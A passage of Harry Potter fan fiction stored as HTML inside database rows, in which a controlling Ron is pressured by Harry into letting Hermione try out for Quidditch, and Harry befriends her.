class="MsoNormal" style="text-indent:.25in">&#8220;Hey Ron,&#8221; Dean spoke up. &#8220;Is\nHermione going to try out for our team?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron turned around facing Dean,\n&#8220;Why would she?&#8221; He shrugged. &#8220;She&#8217;s not very good on a broomstick.&#8221; He lied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well she seems rather interested\nin the game.&#8221; Harry spoke up while he gathered his clothing and headed towards\nthe bathroom. &#8220;I think she should try out, it might be something fun for her to\ndo.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It doesn&#8217;t matter what you think\nabout my girlfriend Potter.&#8221; Ron said, his voice rising in pitch.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville glanced at Ron while\nslipping on his shoe.&nbsp; &#8220;I often hear\nGinny saying to her friends that Hermione would make a great Chaser, she has\nthe speed and agility.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron sneered, &#8220;No. I don&#8217;t want her\nogled by every male member of any team.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why would she be ogled Ron?&#8221;\nSeamus replied, &#8220;The only way that would happen is if she was riding around on\nthat broomstick naked during game time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t even think about that\nSeamus, how dare you picture my girlfriend naked and on a broomstick for that\nmatter.&#8221; Ron glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Dean sighed, &#8220;Well thanks for the\nvisual Ron, thanks to you I&#8217;ll be walking funny all morning.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron growled. &#8220;Don&#8217;t even think\nabout it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Too late.&#8221; Dean placed on his\nrobe.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I still think Hermione would like\nto try out&#8212;&#8221; Neville started to say but he was interrupted by Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look she doesn&#8217;t like the game;\noften she says it&#8217;s boring and stupid.&nbsp;\nHermione would rather spend her time studying in that damn stupid\nlibrary.&nbsp; Now stop talking about Hermione\nand Quidditch she&#8217;s not playing and that&#8217;s all there is to it.&#8221; All these dang\nboys were getting on Ron&#8217;s nerves; he did not want Hermione playing. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Seamus shrugged his shoulders\nwondering why Ron was getting all angry when mentioning Hermione wanting to\nplay Quidditch.&nbsp; The boys went back to\npreparing for the morning.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry waited until Ron was the\nonly one left in the room.&nbsp; He was simply\nstaring at the tall red head, he could tell it was getting on his nerves.&nbsp; Ron turned and glared at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; He growled bitterly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing.&#8221; Harry replied\ncalmly.&nbsp; &#8220;Just wondering why you don&#8217;t\nwant your girlfriend trying out.&nbsp; I mean\nit&#8217;s not like she can out do you or make you look stupid. <i style="mso-bidi-font-style:\nnormal">&#8216;you do that on your own&#8217;</i> Harry thought to himself. &#8220;After all,\nthey are completely different positions.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron smiled almost sweetly, that it\nwas really disturbing.&nbsp; &#8220;Like I said\nbefore she doesn&#8217;t like the game, she doesn&#8217;t want to play.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I don&#8217;t buy that for an\ninstant.&#8221; Harry also said with a similar smile that Ron had.&nbsp; &#8220;You should encourage her to try out.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No.&#8221; Ron was blunt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You will allow her to try out or\nyou&#8217;ll be sorry.&#8221; Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You don&#8217;t scare me Potter.&#8221; Ron\nyawned, he was bored.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh are you sure about that?&#8221;\nHarry lifted up his mattress and pulled out a folder, the others would be kept\nin there in case he needed them another day.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What do you have there?&#8221; Ron\nappeared concerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just a few reports.&#8221; Harry lifted\nhis eyes to his and smirked. &#8220;Of yours,&#8221; He could see Ron was nervous.&nbsp; &#8220;I know you don&#8217;t do your own work.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How did you&#8230;what are you talking\nabout Potter.&#8221; Ron glanced at the floor and tried to walk away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let her try out Weasley or I go\nto the headmaster with your so called reports and work.&#8221; Harry ordered.&nbsp; &#8220;Also you will stop hurting her. If you don&#8217;t\nI will go to the headmaster.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron stepped right up to him, &#8220;You\ncan&#8217;t prove that.&#8221; Ron smirked </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re right I can&#8217;t prove that,\nbut I can still get you expelled.&#8221;&nbsp; Harry\nheld up the folder.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that a threat?&#8221;&nbsp; Ron&#8217;s eyes were set in an evil glare,</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course it is.&#8221; Harry wasn&#8217;t\nthat much shorter then him, so he didn&#8217;t intimidate him like he did the other\nstudents.&nbsp; He figured not much could\nintimidate him, he battled the dark lord Voldemort, and nothing is more\nintimidating then that.&nbsp; &#8220;I&#8217;m warning you\nWeasley, if I don&#8217;t see her trying out then I&#8217;m sure you&#8217;ll be on the next\ntrain home.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s eyes narrowed even more in\nbitter hatred. &#8220;Has she been talking to you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, I just know how to spy on\npeople.&nbsp; I&#8217;ve been doing that all my life\nits only second nature to me.&#8221; Harry shrugged nonchalantly.&nbsp; He laughed a bit when a large growl escaped Ron\nand he watched him turn without saying anything and left the room.&nbsp; Harry gave it a few minutes and he opened the\ndoor to leave the dorm.&nbsp; He heard Ron\ntalking to Hermione down in the common room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, you will try out for\nthe team.&#8221; Ron said in a controlled anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s jaw dropped. &#8220;Really?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, really.&#8221; Ron noticed she\nlooked like she was going to cry and without warning she flung her arms around\nhim.&nbsp; Ron stood there shocked not\nreturning her embrace.&nbsp; &#8220;What&#8217;s the\nmatter with you? Let go of me girl.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione let go and backed away\nfrom him, &#8220;I&#8217;m sorry I don&#8217;t know what came over me.&nbsp; You just never allowed me to play\nbefore.&#8221;&nbsp; She looked up at him, light\ntears in her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah well&#8230;Just don&#8217;t make a fool\nout of me or embarrass me when you fall off your broom because you can&#8217;t fly\nfor shit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron glared at her, &#8220;Oh great now\nyour face is all red and blotchy from crying, over something so stupid\ntoo.&#8221;&nbsp; Ron sighed with\ndisappointment.&nbsp; &#8220;Wait a few minutes\nbefore you come down to breakfast, I will not have a red faced wench walking in\nwith me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glared at Ron from the\nlanding, &#8216;<i style="mso-bidi-font-style:normal">what a jerk</i>&#8217; he thought to\nhimself while shaking his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes Ron, whatever you want.&#8221; She\nwiped her eyes and watched as her boyfriend left the common room.&nbsp; Hermione sighed and sat down on the\ncouch.&nbsp; Cinnamon wandered over and\ndropped her fuzzy ball in Hermione&#8217;s lap.&nbsp;\nHermione smiled down at her dog.&nbsp;\n&#8220;You want to play?&#8221;&nbsp; And her dog&#8217;s\nadoring bark filled her ears. &#8220;Okay then.&#8221;&nbsp;\nShe tossed the ball near the other side of the common room and Cinnamon\nwent after it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That your dog?&#8221; A voice said from\nthe stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione knew who it was without\nhaving to turn around. She nodded answering his question.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s a nice dog you have.&#8221;\nHarry said as he stood behind her, looking down at top of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My parents gave her to me, when I\nwas ten.&#8221; Hermione said quietly, her voice trailed off as she stared at her\ndog.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry saw her hand lifting to her\nface again, probably wiping away more of her tears.&nbsp; &#8220;Are you trying out for the team today?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled and she nodded,\n&#8220;Ron said I could.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well that&#8217;s good to hear.&#8221; Harry\nsmiled as well and he watched her stand while positioning her bag on her\nshoulder.&nbsp; She turned to face him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What did you do to him, to get\nhim to at least me try out?&#8221; She glanced at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, I magician never reveals his\ntricks or sources.&#8221; Harry said with a finger extending upward.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gave a soft laugh, but\nshe covered her mouth immediately.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why are you doing that?&#8221; Harry\nasked, &#8220;You can laugh, it&#8217;s not a bad thing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She shook her head, &#8220;yes it\nis.&nbsp; You might think I was laughing at\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wouldn&#8217;t have thought that at\nall.&#8221; Harry was confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well whenever I used to laugh Ron\nwould&#8230;well he would say I was laughing at him.&#8221; Hermione replied while biting\nher lower lip.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you don&#8217;t have to worry\nabout that with me, you can laugh anytime you want.&nbsp; And even at me I don&#8217;t care.&#8221; Harry gave a\nhalf grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You are so different then Ron said\nyou were, I thou&#8212;&#8221; She stopped in mid sentence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?&#8221; Harry walked around the\ncouch to her, &#8220;What were you going to say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It doesn&#8217;t matter; I shouldn&#8217;t\nopen my mouth and trouble you.&#8221; She shook her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I really want to know.&#8221; Harry\ntried to catch her eye.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione lifted her eyes to his\nshe couldn&#8217;t help but tell him the truth, &#8220;I thought that you were just another\nstuck up twit because you were already so well known.&nbsp; Before you came here I was reading a book&#8221;\nHer cheeks were tingeing pink,&nbsp; &#8220;Well it\nwas a book about you, Ron caught me reading it and told me that you were some\nkind of jerk and that I should stay away from you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed she was a little\nembarrassed about admitting to reading a book about him.&nbsp; &nbsp;It\nbrought a tiny smile to his face.&nbsp; &#8220;And\nwhat do you think?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She cleared her throat; this time\navoided looking him in the eye for a completely different reason. &#8220;That you are\nnot a jerk.&nbsp; You are nice.&#8221; She added\nquietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I was thinking.&#8221; Harry\nstarted.&nbsp; &#8220;I really like talking to you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You do?&#8221; Hermione was shocked; no\none liked talking to her.&nbsp; &#8220;You really\ndo?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded with a silly grin on\nhis face.&nbsp; &#8220;Yes I do, do you like talking\nto me?&#8221;&nbsp; He saw Hermione&#8217;s face color\neven more.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s head nodded, &#8220;Yes.&#8221; She\nsqueaked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He brought his hand up to his\nmouth and covered his tiny laughter, after he recovered a bit he pulled his\nhand away.&nbsp; A pleasant smile gracing his\nface. &nbsp;&#8220;Then why not talk to me whenever\nyou want?&#8221; &nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8230;I just can&#8217;t.&nbsp; I don&#8217;t want Ron to be angry with me.&#8221; She glanced\nat the floor again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He can&#8217;t be angry if he doesn&#8217;t\nknow about it.&#8221; Harry said with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He knows about everything.&#8221;\nHermione said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not if he&#8217;s given sleeping\npotion.&#8221; Harry said crossing his arms over his chest.&nbsp; &#8220;So every night around eleven thirty or so\nwhen everyone heads off to sleep, we can talk about anything you want.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione thought a moment, and let\nout a long sigh.&nbsp; &#8220;You are sure going\nthrough a lot of trouble for this.&#8221;&nbsp; She\nglanced at the floor.&nbsp; &#8220;I&#8217;m not worth\nsuch trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think you need someone else to\ntalk to other then Weasley, so why not me?&#8221;&nbsp;\nHarry said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her eyes narrowed in thought, &#8220;I\ndon&#8217;t know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Trust me Hermione,&#8221; he saw her\nhesitation. &#8220;You have to trust someone.&#8221; Harry held his hand out to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a breath, she liked\nthe way Harry said her name.&nbsp; Whenever\nRon said it, it was either because she was in trouble or to give her an\norder.&nbsp; She looked at Harry&#8217;s extended\nhand.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;Should I trust him?&#8217;</i> She thought to herself while still looking at\nhis hand.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;He has never done anything for you not to trust him, he even talked\nwith Ron.&nbsp; You get to try out for the\nteam.&#8217;</i>&nbsp; She nodded that settled it, &nbsp;Hermione hesitantly lifted her hand and her\nfingertips lightly touching his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed that she might be a\nbit afraid to trust anyone; her fingers were barely touching his.&nbsp; He let her take her time as her soft hand\nfinally slid into his.&nbsp; He closed his\nfingers around hers and gave a gentle squeeze.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;A strange feeling swam from her hand and\nfilled her to her toes.&nbsp; Harry&#8217;s hand\nfelt really warm, nothing at all like the cold feelings she gets when Ron is\nholding her hand, &#8220;Okay.&#8221;&nbsp; Hermione&#8217;s\nvoice was shaky, &#8220;I&#8217;ll trust you.&#8221;&nbsp; She\nfelt Harry start to pull her towards the portrait hole and she tried let go of\nhis hand but he wouldn&#8217;t release her.&nbsp;&nbsp;\nAs she walked with him out of the tower she still tried to pull her hand\nfrom his.&nbsp; &#8220;Let go.&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In a minute.&#8221; Harry said he\nsuddenly stopped three feet before The Great Hall doors, he saw a violent fear\nin her eyes and he let go.&nbsp; &#8220;Just\nremember you can trust me.&#8221;&nbsp; He saw her\nnod.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wait awhile before coming in The\nGreat Hall okay?&#8221; Hermione asked quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Certainly.&#8221; Harry said and\nwatched her open the door and step into The Great Hall, the door closed behind\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione walked towards the\nGryffindor table and sat down next to Ron and Ginny.&nbsp; She immediately filled her plate. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron put his hand on hers as Harry came in and\nsat down across from Ron and Hermione.&nbsp;\nHe saw Hermione filling her plate with a few things.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not too much Hermione, the last\nthing I want is a fat girlfriend.&#8221; He said while looking at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m not fat Ron.&#8221; She didn&#8217;t lift\nher eyes from her plate, there was only a piece of melon, toast and one thin\nslice of ham.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t even want to talk about\nthis here.&#8221; Ron spat quietly.&nbsp; He lifted\nhis eyes to Harry and watched as his enemy lifted a brow and glare at him.&nbsp; &#8220;On second thought Hermione, you are looking\na little thin, here.&#8221;&nbsp; He took the plate\nof scrambled eggs and dumped some onto her plate. He reached for a bowl of\nfried potatoes and scooped her out a few and piled them next to her eggs.&nbsp; He grabbed a bunch of grapes and a\nbanana.&nbsp; &#8220;There you go eat up.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione watched Ron this was a\nbit disturbing.&nbsp; Actually, it was very\ndisturbing.&nbsp; &#8220;What are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing Hermione, just eat up.&#8221;\nHe said as he continued to pile food on her plate.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron I can&#8217;t possibly eat all\nthis.&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just eat what you can.&#8221; Ron said\npleasantly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked down at her full\nplate.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8216;What is wrong with Ron? He never lets me eat my fill&#8217;</i> She said to herself.&nbsp; Hermione lifted her eyes to Harry who was in\nfront of her.&nbsp; He was simply eating his breakfast;\nhe looked really involved in it.&nbsp; She\nheld back her laugh.&nbsp; Boys were always\ninterested in food.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The Gryffindors went off to their\nfirst class for the morning, Harry was constantly watching Ron who was always\nlooking over his shoulder, and whenever he saw Harry looking at him Ron would immediately\nstart being nice to Hermione.&nbsp; Harry\nleaned back in his chair during History of Magic.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Here Hermione let me ink your\nquill for you.&#8221;&nbsp; Ron took her quill from\nher still hand and dipped it into the inkwell.&nbsp;\n&#8220;There you go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyebrows were knitted together;\nthis morning had been so weird.&nbsp; She\nturned around and caught Harry&#8217;s eye, and he winked.&nbsp; Her face flushed and she turned around straight\nahead.&nbsp; She saw Lavender looking at her\nalmost suspiciously.&nbsp; But the blonde&#8217;s\nstare was replaced by one of loathing. &nbsp;She really had no idea what Lavender&#8217;s problem\nwas, she never did anything to her.&nbsp;\nHermione sighed and glanced up at the wall, only fifty minutes till\ntryouts, she was so looking forward to it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for Chapter 6 stay\ntuned for chapter 7, in that one we go through the tryouts and then we will\njump to September.&nbsp; Please Review thanks\nRyoko.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: Not mine, Not mine, Definitly not mine. The entire HP world belongs to JK Rowlings.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Hidden\nBeneath</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter\n7&#8212; Promise</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">After\nfinishing lunch quickly the Gryffindors that wanted to try out for the team\nheaded down to the field.&nbsp; The Gryffindors\nwere sitting on the grass waiting for the judges to arrive.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was sitting next to a few\nother Gryffindors when Ron and Hermione arrived, Ron was holding her hand\ntightly as he sat down, pulling her down the spot on the grass next to\nhim.&nbsp; Ron glared at Harry, how dare that fool make him be nice to someone who was lower\nthen a house elf.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville walked onto the pitch with\nDraco, Ron was immediately in front of them blocking their path.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Get out of our way Ron.&#8221; Neville\ndemanded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Idiot, what makes you think you\ncan bring a Hufflepuff to watch our tryouts, he could be after secrets or\nsomething!&#8221; Ron&#8217;s fists clinched at his sides.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh relax Weasley, what&#8217;s he gonna\nsteal your oh so secret flight movements.&#8221; Harry was lying on his back looking\nup at the sky wearing a pair of Muggle sunglasses and he chuckled.&nbsp; &#8220;Oh please I&#8217;ve seen ogres with better\nbalance and reflexes than you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You shut your mouth Potter.&#8221; Ron\nsnapped. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry lifted up the rim of his sun\nglasses glancing at Ron with a raised eye brow as if he were bored, &#8220;Yeah,\nwhatever.&#8221;&nbsp; He repositioned his\nsunglasses and continued to look up at the sky.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron heard other students around\nsniggering at him; his temper was boiling as his face was increasing in color.\nHarry was sure 